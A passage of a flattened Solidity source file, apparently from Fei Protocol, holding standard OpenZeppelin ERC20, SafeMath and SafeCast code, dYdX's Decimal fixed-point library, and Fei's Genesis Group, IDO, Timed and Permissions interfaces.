* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: contracts/ERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/SafeMathCopy.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathCopy { // To avoid namespace collision between openzeppelin safemath and uniswap safemath
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/Decimal.sol
/*
Copyright 2019 dYdX Trading Inc.
Copyright 2020 Empty Set Squad <[email protected]>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/**
* @title Decimal
* @author dYdX
*
* Library that defines a fixed-point number with 18 decimal places.
*/
library Decimal {
using SafeMathCopy for uint256;
// ============ Constants ============
uint256 private constant BASE = 10**18;
// ============ Structs ============
struct D256 {
uint256 value;
}
// ============ Static Functions ============
function zero()
internal
pure
returns (D256 memory)
{
return D256({ value: 0 });
}
function one()
internal
pure
returns (D256 memory)
{
return D256({ value: BASE });
}
function from(
uint256 a
)
internal
pure
returns (D256 memory)
{
return D256({ value: a.mul(BASE) });
}
function ratio(
uint256 a,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(a, BASE, b) });
}
// ============ Self Functions ============
function add(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.add(b.mul(BASE)) });
}
function sub(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.mul(BASE)) });
}
function sub(
D256 memory self,
uint256 b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.mul(BASE), reason) });
}
function mul(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.mul(b) });
}
function div(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.div(b) });
}
function pow(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
if (b == 0) {
return from(1);
}
D256 memory temp = D256({ value: self.value });
for (uint256 i = 1; i < b; i++) {
temp = mul(temp, self);
}
return temp;
}
function add(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.add(b.value) });
}
function sub(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.value) });
}
function sub(
D256 memory self,
D256 memory b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.value, reason) });
}
function mul(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(self.value, b.value, BASE) });
}
function div(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(self.value, BASE, b.value) });
}
function equals(D256 memory self, D256 memory b) internal pure returns (bool) {
return self.value == b.value;
}
function greaterThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 2;
}
function lessThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 0;
}
function greaterThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) > 0;
}
function lessThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) < 2;
}
function isZero(D256 memory self) internal pure returns (bool) {
return self.value == 0;
}
function asUint256(D256 memory self) internal pure returns (uint256) {
return self.value.div(BASE);
}
// ============ Core Methods ============
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator
)
private
pure
returns (uint256)
{
return target.mul(numerator).div(denominator);
}
function compareTo(
D256 memory a,
D256 memory b
)
private
pure
returns (uint256)
{
if (a.value == b.value) {
return 1;
}
return a.value > b.value ? 2 : 0;
}
}
// File: contracts/IGenesisGroup.sol
pragma solidity ^0.6.0;
/// @title Genesis Group interface
/// @author Fei Protocol
interface IGenesisGroup {
// ----------- Events -----------
event Purchase(address indexed _to, uint256 _value);
event Redeem(
address indexed _to,
uint256 _amountIn,
uint256 _amountFei,
uint256 _amountTribe
);
event Commit(address indexed _from, address indexed _to, uint256 _amount);
event Launch(uint256 _timestamp);
// ----------- Governor-only state changing API -----------
function initGenesis() external;
// ----------- State changing API -----------
function purchase(address to, uint256 value) external payable;
function redeem(address to) external;
function commit(
address from,
address to,
uint256 amount
) external;
function launch() external;
function emergencyExit(address from, address payable to) external;
// ----------- Getters -----------
function getAmountOut(uint256 amountIn, bool inclusive)
external
view
returns (uint256 feiAmount, uint256 tribeAmount);
function getAmountsToRedeem(address to)
external
view
returns (
uint256 feiAmount,
uint256 genesisTribe,
uint256 idoTribe
);
function committedFGEN(address account) external view returns (uint256);
function totalCommittedFGEN() external view returns (uint256);
function totalCommittedTribe() external view returns (uint256);
function launchBlock() external view returns (uint256);
}
// File: contracts/IDOInterface.sol
pragma solidity ^0.6.0;
/// @title IDO interface
/// @author Fei Protocol
interface IDOInterface {
// ----------- Events -----------
event Deploy(uint256 _amountFei, uint256 _amountTribe);
// ----------- Genesis Group only state changing API -----------
function deploy(Decimal.D256 calldata feiRatio) external;
function swapFei(uint256 amountFei) external returns (uint256);
// ----------- Governor only state changing API -----------
function unlockLiquidity() external;
}
// File: contracts/SafeCast.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// File: contracts/Timed.sol
pragma solidity ^0.6.0;
/// @title an abstract contract for timed events
/// @author Fei Protocol
abstract contract Timed {
using SafeCast for uint256;
/// @notice the start timestamp of the timed period
uint256 public startTime;
/// @notice the duration of the timed period
uint256 public duration;
event DurationUpdate(uint256 _duration);
event TimerReset(uint256 _startTime);
constructor(uint256 _duration) public {
_setDuration(_duration);
}
modifier duringTime() {
require(isTimeStarted(), "Timed: time not started");
require(!isTimeEnded(), "Timed: time ended");
_;
}
modifier afterTime() {
require(isTimeEnded(), "Timed: time not ended");
_;
}
/// @notice return true if time period has ended
function isTimeEnded() public view returns (bool) {
return remainingTime() == 0;
}
/// @notice number of seconds remaining until time is up
/// @return remaining
function remainingTime() public view returns (uint256) {
return duration - timeSinceStart(); // duration always >= timeSinceStart which is on [0,d]
}
/// @notice number of seconds since contract was initialized
/// @return timestamp
/// @dev will be less than or equal to duration
function timeSinceStart() public view returns (uint256) {
if (!isTimeStarted()) {
return 0; // uninitialized
}
uint256 _duration = duration;
// solhint-disable-next-line not-rely-on-time
uint256 timePassed = block.timestamp - startTime; // block timestamp always >= startTime
return timePassed > _duration ? _duration : timePassed;
}
function isTimeStarted() public view returns (bool) {
return startTime != 0;
}
function _initTimed() internal {
// solhint-disable-next-line not-rely-on-time
startTime = block.timestamp;
// solhint-disable-next-line not-rely-on-time
emit TimerReset(block.timestamp);
}
function _setDuration(uint _duration) internal {
duration = _duration;
emit DurationUpdate(_duration);
}
}
// File: contracts/IPermissions.sol
pragma solidity ^0.6.0;
/// @title Permissions interface
/// @author Fei Protocol
interface IPermissions {
// ----------- Governor only state changing api -----------
function createRole(bytes32 role, bytes32 adminRole) external;
